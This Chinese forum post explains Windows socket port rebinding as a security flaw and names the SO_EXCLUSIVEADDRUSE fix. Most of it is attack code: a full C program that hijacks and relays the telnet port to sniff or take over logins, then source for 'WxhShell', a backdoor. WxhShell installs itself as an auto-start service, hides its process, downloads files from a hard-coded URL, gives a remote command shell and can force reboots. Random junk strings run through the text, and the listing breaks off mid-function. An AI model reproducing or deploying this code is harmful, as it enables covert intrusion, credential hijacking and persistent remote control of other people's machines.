社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14840阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;}~Bv<#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b^DV9mO4J  
BJxm W's/  
  saddr.sin_family = AF_INET; %@93^q[\2  
NoZ4['NI\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :TYzzl43  
Uv`v|S:+2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j jT 2k  
9~'Ip7X,!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MVP)rugU  
X]MM7hMuR  
  这意味着什么?意味着可以进行如下的攻击: -!G#")<  
9c}]:3#XO  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?>jArzI  
5z w23!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )|R0_9CLV  
1vK(^u[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [pgkY!R?)  
OXX(OCG>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  w^E]N  
GdeR#%z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R 4QwWSBJ  
e=)* O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZX6=D>)u  
; :\,x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lEb R)B,  
k,iV$,[TF  
  #include +Y9D!=_lj  
  #include -_*XhD  
  #include _<F@(M5  
  #include    ?Wz(f{Hm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k=~pA iRDN  
  int main() 9hLmrYNM1  
  { RyQ\5^z  
  WORD wVersionRequested; X:-bAu}D  
  DWORD ret; PSqtZN  
  WSADATA wsaData;  ~uZLe\>K  
  BOOL val; r]//Q6|S  
  SOCKADDR_IN saddr; nBIv{  
  SOCKADDR_IN scaddr; '`~(Fkj  
  int err; `{Di*  
  SOCKET s; LOUKUReE  
  SOCKET sc; $17 v,  
  int caddsize; -5,y 1_M  
  HANDLE mt; ="w8U'  
  DWORD tid;   }V#9tWW  
  wVersionRequested = MAKEWORD( 2, 2 ); h:Mn$VR,  
  err = WSAStartup( wVersionRequested, &wsaData ); 2N8sq(LK{  
  if ( err != 0 ) { ^@LhUs>3  
  printf("error!WSAStartup failed!\n"); \ NSw<.  
  return -1; ~v(M6dz~vk  
  } 3g#=sd!0O@  
  saddr.sin_family = AF_INET; IfmIX+t?  
   9Bvn>+_K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ? ]:EmP  
g yH7((#i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;/^]|  
  saddr.sin_port = htons(23); - Zoo)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t k/K0u  
  { >;&V~q:di  
  printf("error!socket failed!\n"); {p*hNi)0  
  return -1; yH"$t/cU"R  
  } n.Eoi4jV'  
  val = TRUE; vb.Y8[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a(43]d&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )"c]FI[}  
  { L1!hF3G  
  printf("error!setsockopt failed!\n"); MV;Y?%>  
  return -1; GKsL~;8"  
  } D7_Hu'y<o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Jn@Mbl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cM<hG:4%wX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0@e}hv;  
W "\tkh2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vz #wP  
  { Zc\h15+P  
  ret=GetLastError(); q~' K9  
  printf("error!bind failed!\n"); L3=YlX`UL  
  return -1; <&Y}j&(  
  } >gZk 581/  
  listen(s,2); bHQKRV  
  while(1) )<x;ra^  
  { X?v ^>mA  
  caddsize = sizeof(scaddr); N4` 9TN7  
  //接受连接请求 &(uF&-PwO4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eYD9#y  
  if(sc!=INVALID_SOCKET) !Nxn[^[?.  
  { At[n<8_|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mp+\!  
  if(mt==NULL) ?Str*XA;  
  { K'{W9~9Lq  
  printf("Thread Creat Failed!\n"); LnI{S{]wDh  
  break; ~q]|pD"\K|  
  } \l=KWa3Q  
  } Q1ABnacR  
  CloseHandle(mt); qJFgbq4-  
  } <GT>s  
  closesocket(s); y%IG:kZ,  
  WSACleanup(); @(,{_c]  
  return 0; '^oGDlkr H  
  }   */5<L99v  
  DWORD WINAPI ClientThread(LPVOID lpParam) fdq^!MWTi  
  { jY#(A23  
  SOCKET ss = (SOCKET)lpParam; )*TW\v`B  
  SOCKET sc; DtJTnvG~B  
  unsigned char buf[4096]; ++Ys9Y)*,  
  SOCKADDR_IN saddr; nzE,F\k  
  long num; v1"g!%U6  
  DWORD val; ej"o?1l@  
  DWORD ret; 1y)$[e   
  //如果是隐藏端口应用的话,可以在此处加一些判断 eA*Jfb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O2'bNR  
  saddr.sin_family = AF_INET; B )1<`nJA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); msqxPC^I  
  saddr.sin_port = htons(23); A"bSNHCKF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]2xx+P#Y  
  { 5;K-,"UQ  
  printf("error!socket failed!\n"); @cS1w'=  
  return -1; sx-Hw4.a"  
  } XEUa  
  val = 100; z"s%#/#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7S dV%"  
  { SP D207  
  ret = GetLastError(); 9HJ'p:{)  
  return -1; .cH{WZ  
  } kuTq8p2E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GEe 0@q#YA  
  { m_E[bDON  
  ret = GetLastError(); ?LV-W  
  return -1; _/N'I7g  
  } x8pbO[_|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S`W'G&bCj  
  { /XW&q)z-Hl  
  printf("error!socket connect failed!\n"); 8=n9hLhqo  
  closesocket(sc); F; MF:;mM  
  closesocket(ss); M8#*zCp{5  
  return -1; e0~sUVYf  
  } 1o;g1Z/  
  while(1) %eutfM-?6  
  { 2<6`TA*m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ax72ehL}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 20.-;jK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i!1ho T$  
  num = recv(ss,buf,4096,0); _\4`  
  if(num>0) 56bud3CVs  
  send(sc,buf,num,0); EZ%w=  
  else if(num==0) wZo.ynXT  
  break; ~<2 IIR$H  
  num = recv(sc,buf,4096,0); hr_9;,EPh  
  if(num>0) ^8';8+$  
  send(ss,buf,num,0); $IxU6=ajn  
  else if(num==0) !y qa?\v9  
  break; mX<Fuu}E*Z  
  } `FzYvd"N  
  closesocket(ss); \ifK~?  
  closesocket(sc); FUyB"-<  
  return 0 ; s.R-<Y 3  
  } 68koQgI[^  
|b$>68:  
F}6DB*  
========================================================== }XGMa?WR  
Z{,GZT  
下边附上一个代码,,WXhSHELL cQ3W;F8|n  
0|fb< "  
========================================================== H{\.g=01  
E(QZ!'%K+m  
#include "stdafx.h" 7xv4E<r2  
O6m.t%*  
#include <stdio.h> %1-K);S J  
#include <string.h> e-CNQnO~  
#include <windows.h> kCaO\#ta  
#include <winsock2.h> ,67"C2Y  
#include <winsvc.h> A9\]3 LY  
#include <urlmon.h> T3USNc51  
W_[|X}lWP  
#pragma comment (lib, "Ws2_32.lib") ]>R`;"(  
#pragma comment (lib, "urlmon.lib") JmU<y  
V;h=8C5J  
#define MAX_USER   100 // 最大客户端连接数 e/"yGQu  
#define BUF_SOCK   200 // sock buffer qj~flw1:  
#define KEY_BUFF   255 // 输入 buffer mF[o*N*  
lZ|L2Yg3uB  
#define REBOOT     0   // 重启 u*t,i`  
#define SHUTDOWN   1   // 关机 v2 29H<  
fm(mO%  
#define DEF_PORT   5000 // 监听端口 @4IW=V  
g>2aIun_Q  
#define REG_LEN     16   // 注册表键长度  0dgP  
#define SVC_LEN     80   // NT服务名长度 b]!9eV$  
G(U9rJ9  
// 从dll定义API lLb:f6N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @s_3 0+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ds%9cp*6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~Cjz29|gp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "w}-?:# j  
f4]N0  
// wxhshell配置信息 "z rA``  
struct WSCFG { E,{GU  
  int ws_port;         // 监听端口 {>8Pl2J  
  char ws_passstr[REG_LEN]; // 口令 z%(Fo2)^  
  int ws_autoins;       // 安装标记, 1=yes 0=no &49u5&TiP  
  char ws_regname[REG_LEN]; // 注册表键名 LHs-&  
  char ws_svcname[REG_LEN]; // 服务名 ,Bisu:v6FW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?e F@Q !h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ye9Y^+-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x(L(l=^"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no , N53Iic  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &4,WG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |u@+`4o  
OF c\fW#  
}; ojHhT\M`  
""co6qo#>  
// default Wxhshell configuration 1HMUHZT  
struct WSCFG wscfg={DEF_PORT, >\V6+$cNp  
    "xuhuanlingzhe", q@(1Yivk  
    1, zVSx$6eiU  
    "Wxhshell", 7;&(}  
    "Wxhshell", y|$R`P  
            "WxhShell Service", ev9; Ld  
    "Wrsky Windows CmdShell Service", "\e:h| .G  
    "Please Input Your Password: ", $}t=RW  
  1, Pm4e8b  
  "http://www.wrsky.com/wxhshell.exe", 3sH\1)Zz  
  "Wxhshell.exe" g>so R&*  
    }; Vy__b=ti?  
!; IJ   
// 消息定义模块 )2xE z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {fZb@7?GF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; geksjVwPH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^YGTh0$W  
char *msg_ws_ext="\n\rExit."; P?kx  
char *msg_ws_end="\n\rQuit."; ?hnx/z+uT  
char *msg_ws_boot="\n\rReboot..."; !O|ql6^;  
char *msg_ws_poff="\n\rShutdown..."; ebqg"tPN{  
char *msg_ws_down="\n\rSave to "; xq}-m!nX  
\[yr=X  
char *msg_ws_err="\n\rErr!"; pz{'1\_+9  
char *msg_ws_ok="\n\rOK!"; )zU:  
]*qU+&  
char ExeFile[MAX_PATH]; 8".2)W4*  
int nUser = 0; LheFQ A  
HANDLE handles[MAX_USER]; C,/O   
int OsIsNt; ?WQNIX4  
$B\ H  
SERVICE_STATUS       serviceStatus; 1BJ<m5/1%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6B0# 4Qrv  
2-~|Z=eGW  
// 函数声明 F/>*If s  
int Install(void); |( G2K'Ab  
int Uninstall(void); vA=Z=8  
int DownloadFile(char *sURL, SOCKET wsh); T-'~?[v  
int Boot(int flag); ow$q7uf  
void HideProc(void); ^i+[m  
int GetOsVer(void); ]jyM@  
int Wxhshell(SOCKET wsl); }Dn^d}?s||  
void TalkWithClient(void *cs); [E7MsX  
int CmdShell(SOCKET sock); `H>b5  
int StartFromService(void); t2- ^-g6  
int StartWxhshell(LPSTR lpCmdLine); q/NY72tj0  
#E DEYEW7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9Hd;35 3Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =.*98  
`1Zhq+s  
// 数据结构和表定义 5,1{Tv`  
SERVICE_TABLE_ENTRY DispatchTable[] = U&UKUACn"  
{ 44\cI]!{  
{wscfg.ws_svcname, NTServiceMain}, /`[!_4i  
{NULL, NULL} LvcuZZ`1a  
}; P ZxFZvE  
F30 ]  
// 自我安装  W^Y#pn  
int Install(void) mk!Dozb/  
{ lT'9u,6   
  char svExeFile[MAX_PATH]; |Y},V_@d  
  HKEY key; 5{K}?*3hJ  
  strcpy(svExeFile,ExeFile); *FK`&(B+}  
0w %[  
// 如果是win9x系统,修改注册表设为自启动 j(eFoZz,  
if(!OsIsNt) { P`S@n/}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +f>cxA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]5' d&f  
  RegCloseKey(key); ye%iDdf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _OMpIdY,R*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `S3>3  
  RegCloseKey(key);  z [C3  
  return 0; 1D F/6y  
    } >xqM5#m`E$  
  } (gwj)?:  
} "0CjP+1k  
else { ?<U{{ C  
=Q<L eh=G  
// 如果是NT以上系统,安装为系统服务 kkS~4?- *  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @%hCAm  
if (schSCManager!=0) .&1C:>  
{ c)}2K0  
  SC_HANDLE schService = CreateService #aar9  
  ( &H||&Z[pk  
  schSCManager, M6rc!K  
  wscfg.ws_svcname, Qd &" BEs  
  wscfg.ws_svcdisp, 9MY7a=5E~  
  SERVICE_ALL_ACCESS, \K iwUz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H={&3poBz  
  SERVICE_AUTO_START, ;apzAF  
  SERVICE_ERROR_NORMAL, ?kTWpXx"=  
  svExeFile, $s\UL}Gc  
  NULL, ;@3FF  
  NULL, F S"eM"z  
  NULL, wW2d\Zd&  
  NULL, 4/e60jA  
  NULL egk7O4zwP  
  ); -c%dvck^,  
  if (schService!=0) uH@FU60  
  { f )Z%pgB  
  CloseServiceHandle(schService); t<j^q`;@v  
  CloseServiceHandle(schSCManager); amWD-0V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zR;X*q"T$4  
  strcat(svExeFile,wscfg.ws_svcname); ?4 S+edX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #]]Su91BA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]y@F8$D!  
  RegCloseKey(key); &fOdlQ?  
  return 0; e:w &(is  
    } F_;DN: {  
  } l [GOs&D1  
  CloseServiceHandle(schSCManager); jS.g]k  
} Rp9fO?ZjHt  
} &?,6~qm[  
6KZf%)$  
return 1; <#M`5X.  
} G:W>I=^DaR  
'heJ"k?  
// 自我卸载 N587(wZ  
int Uninstall(void) o>Er_r  
{ 6w[}&pX"z  
  HKEY key; j*v40mXl`2  
V 9wI\0  
if(!OsIsNt) {  m#vL*]c}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w Y   
  RegDeleteValue(key,wscfg.ws_regname); SqA J-_~  
  RegCloseKey(key); A{eLl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +rXF{@ l  
  RegDeleteValue(key,wscfg.ws_regname); E Y<8B3y  
  RegCloseKey(key); sP@X g;]  
  return 0; b5G}3)'w  
  } .|qK +Hnc  
} h}`!(K^;3  
} i_R e*  
else { epHJ@W@#  
H9)m^ *  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @Ky> 9m{  
if (schSCManager!=0) <*!i$(gn  
{ {66sB{P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *OJ/V O  
  if (schService!=0) !" #9<~Q,p  
  { qBV x6MI  
  if(DeleteService(schService)!=0) { / $  :j  
  CloseServiceHandle(schService); OLGBt  
  CloseServiceHandle(schSCManager); 2&'|Eqk  
  return 0; 7uorQfR?  
  } cJo\#cr  
  CloseServiceHandle(schService); %@a8P  
  } }v9\F-0>Q  
  CloseServiceHandle(schSCManager); 2aw&YZ&Xo  
} ,#FLM`  
} {GDmVWG0q  
i,A#&YDl  
return 1; 4/kv3rv  
} `1*nL,i  
p(;U@3G  
// 从指定url下载文件 v~3B:k:?l  
int DownloadFile(char *sURL, SOCKET wsh) -oeL{9;  
{ VErv;GyV  
  HRESULT hr; fj7|D'c  
char seps[]= "/"; <~TP#uAz  
char *token; EN{]Qb06A  
char *file; E:zF/$tG  
char myURL[MAX_PATH]; KrVcwAcq|1  
char myFILE[MAX_PATH]; |Fm6#1A@  
sDr/k`>  
strcpy(myURL,sURL); =S'%`]f?  
  token=strtok(myURL,seps);  ~>O)  
  while(token!=NULL) 6qN~/TnHZ  
  { Spo?i.#  
    file=token; :j|IP)-f  
  token=strtok(NULL,seps); gqXS~K9t  
  } 6S6f\gAM  
Q9}dHIe1E  
GetCurrentDirectory(MAX_PATH,myFILE); gBT2)2]  
strcat(myFILE, "\\"); 7n]65].t  
strcat(myFILE, file); Uv YF[@  
  send(wsh,myFILE,strlen(myFILE),0); 7Dnp'*H  
send(wsh,"...",3,0); l`kWz5[~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Om{l>24i.\  
  if(hr==S_OK) k#[F`  
return 0; (b?{xf'G  
else +3s%E{  
return 1; M(#m0x B  
u2oKH{/z  
} 3lV^B[$  
Pe C7  
// 系统电源模块 <YA&Dr3OD  
int Boot(int flag) (~zd6C1.  
{ K{n{KB&_&  
  HANDLE hToken; m9U"[Huv1E  
  TOKEN_PRIVILEGES tkp; 8WE{5#oi  
0 a]/%y3V  
  if(OsIsNt) { ??TMSH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QL6C,#6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y/e 2l  
    tkp.PrivilegeCount = 1; dz~co Z9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vR0 ];{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cvwhSdZu8  
if(flag==REBOOT) { dKl^jsd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m<L;  
  return 0; rc+C?)S  
} =rdY @  
else { 1&fc1uYB4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3=-4%%[M@  
  return 0; jx acg^c  
} G=;k=oX(  
  } ?"?6,;F(4  
  else { .NtbL./=|  
if(flag==REBOOT) { ,=?{("+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "[}O"LTQ  
  return 0; V\(:@0"  
} V]*b4nX7  
else { fgihy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FU=w(< R;  
  return 0; Ra*e5  
} kB5.(O  
} NrP0Ep%V  
p ?wI9GY  
return 1; '`1CBU$  
} 2Z20E$Cb  
42>Ge>#F  
// win9x进程隐藏模块 Qt]Q: 9I[  
void HideProc(void) e #/E~r&  
{ .9O$G2'oh  
1-.~7yC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p4VeRJk%  
  if ( hKernel != NULL ) zhY+x<-  
  { *T0q|P~o%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k6=nO?$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `9k0Gd  
    FreeLibrary(hKernel); NBb6T V}j  
  } <F11m(  
!n6wWl  
return; /b|0PMX  
} ?xK,mbFgl  
Q f(p~a(d  
// 获取操作系统版本 LJoGpr 8  
int GetOsVer(void) e8'wG{3A  
{ AIA6yeaU  
  OSVERSIONINFO winfo; 7)h[Zy,A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pLv$\ MiZ  
  GetVersionEx(&winfo); ;-UmY}MU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9n}p;3{f  
  return 1; !|c|o*t{  
  else +2 Af&~T  
  return 0; OT'[:|x ;  
} C"IKt  
|lv|!]qAma  
// 客户端句柄模块 1~ $);US  
int Wxhshell(SOCKET wsl) d#2$!z#  
{ ')GSAY7  
  SOCKET wsh; 'l,V*5L  
  struct sockaddr_in client; u^029sH6j  
  DWORD myID; BB|?1"neg  
# p[',$cC  
  while(nUser<MAX_USER) wgd/(8d  
{ uYrfm:4S  
  int nSize=sizeof(client); MQin"\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  @3kKJ  
  if(wsh==INVALID_SOCKET) return 1; V`@>MOw^d  
$['Bv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  <T[E=#  
if(handles[nUser]==0) F[ewn/]n  
  closesocket(wsh); NWxUn.Gy9  
else FZ8b7nJ)4m  
  nUser++; | >z3E z  
  } G9JAcO1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (rg;IXAq%  
)?wJF<[_#  
  return 0; ;2Q~0a|  
} vX]Gf4,  
ytNO*XoR  
// 关闭 socket &HSq(te  
void CloseIt(SOCKET wsh) !Ra*)b "  
{ =~p>`nV  
closesocket(wsh); -\#0]F:-  
nUser--; r_;9' #&'  
ExitThread(0); }<'5 z qS  
} F5o+kz$;  
TwgrRtj'  
// 客户端请求句柄 :_QCfH  
void TalkWithClient(void *cs) ^wS5>lf7p  
{ Is+O  
|*`Z*6n  
  SOCKET wsh=(SOCKET)cs; 0?>dCu\  
  char pwd[SVC_LEN]; c&L"N!4z  
  char cmd[KEY_BUFF]; d:yqj:  
char chr[1]; ~Ch+5A;  
int i,j; *}8t{ F@k  
W0}B'VS.I  
  while (nUser < MAX_USER) { `mN4_\]  
bu51$s?B  
if(wscfg.ws_passstr) { jbR0%X2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )XWP\ h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0>zbCubPH  
  //ZeroMemory(pwd,KEY_BUFF); VsA'de!V4[  
      i=0; U#U]Pt  
  while(i<SVC_LEN) { SB)5@ nmS  
^i:B+ rl  
  // 设置超时 hdVdcnM  
  fd_set FdRead; <jed!x  
  struct timeval TimeOut; dXnl'pFS  
  FD_ZERO(&FdRead); Gm\/Y:U  
  FD_SET(wsh,&FdRead); Gdg"gi!4  
  TimeOut.tv_sec=8; Ge<nxl<Bd  
  TimeOut.tv_usec=0; @]ao"ui@/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); : "1XPr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a+Ac[>  
: >>@rF ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -+O 9<3ly  
  pwd=chr[0]; `:axzCrCfR  
  if(chr[0]==0xd || chr[0]==0xa) { \m1~jMz*>k  
  pwd=0; u,6~qQczE  
  break; }3?n~s\)6f  
  } \_B[{e7z  
  i++; %RDI!e<e}  
    } Qca&E`~Q  
7NJhRz`_  
  // 如果是非法用户,关闭 socket )&!&AlLn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :kGU,>BN  
} nR`ov1RH  
;amXY@RmH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w}=5ElB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &iV,W4  
aE2.L;Tk?  
while(1) { t]-5 ]oI  
[p<w._b i  
  ZeroMemory(cmd,KEY_BUFF); ^yOZArc'r  
4R\ Hpt  
      // 自动支持客户端 telnet标准   \eFR(gO+  
  j=0; [Jv@J\  
  while(j<KEY_BUFF) { #t+d iR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f%*/cpA)  
  cmd[j]=chr[0]; 8]LD]h)B"  
  if(chr[0]==0xa || chr[0]==0xd) { Z4\=*ic@  
  cmd[j]=0; ? YG)I;(  
  break; 8-O)Xx}cU  
  } 4]E3c AJ  
  j++; ,{mCf ^  
    } ?Ec7" hK  
f`Fi#EKT  
  // 下载文件 zE_i*c"`  
  if(strstr(cmd,"http://")) { D gaMO,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,I,\ml  
  if(DownloadFile(cmd,wsh)) $ , u+4h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D"D<+ ;S#  
  else /Sh#_\x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dN$Tf  
  } )KAEt.  
  else { rh^mJU h  
r3PT1'P?L  
    switch(cmd[0]) { cMOyo<F#^=  
  LSRk7'0  
  // 帮助 o !U 6?  
  case '?': { }B1!gz$YNO  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,l)^Ft`5  
    break; 1 .6:#  
  } .;N1N^  
  // 安装 ( U xW;  
  case 'i': { _FWBUZ;N  
    if(Install()) <Sr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [)TRTxFb  
    else .Fp4: e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \7'+h5a  
    break; BT"XT5@  
    } PAM}*'  
  // 卸载 ^RI?ybDd  
  case 'r': { u`RI;KF~F  
    if(Uninstall()) tw9f%p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c(~[$)i6  
    else T]c%!&^ _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lx7Q.su'  
    break; &:`U&06q  
    } (P:<t6;+  
  // 显示 wxhshell 所在路径 #n8IZ3+  
  case 'p': { &*aIEa^  
    char svExeFile[MAX_PATH]; 6g)G Y"49  
    strcpy(svExeFile,"\n\r"); H|HYo\@F#  
      strcat(svExeFile,ExeFile); VB*oGG  
        send(wsh,svExeFile,strlen(svExeFile),0); 2V#>)R#k  
    break; 6l:qD`_  
    } D-._z:_  
  // 重启 BNs@n"k  
  case 'b': { V6,H}k   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fd.^h*'mU  
    if(Boot(REBOOT)) ]%u@TK7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K42K!8$  
    else { mrF58Uq;A  
    closesocket(wsh); XMu9Uk{|  
    ExitThread(0); ?m\t| /0Q  
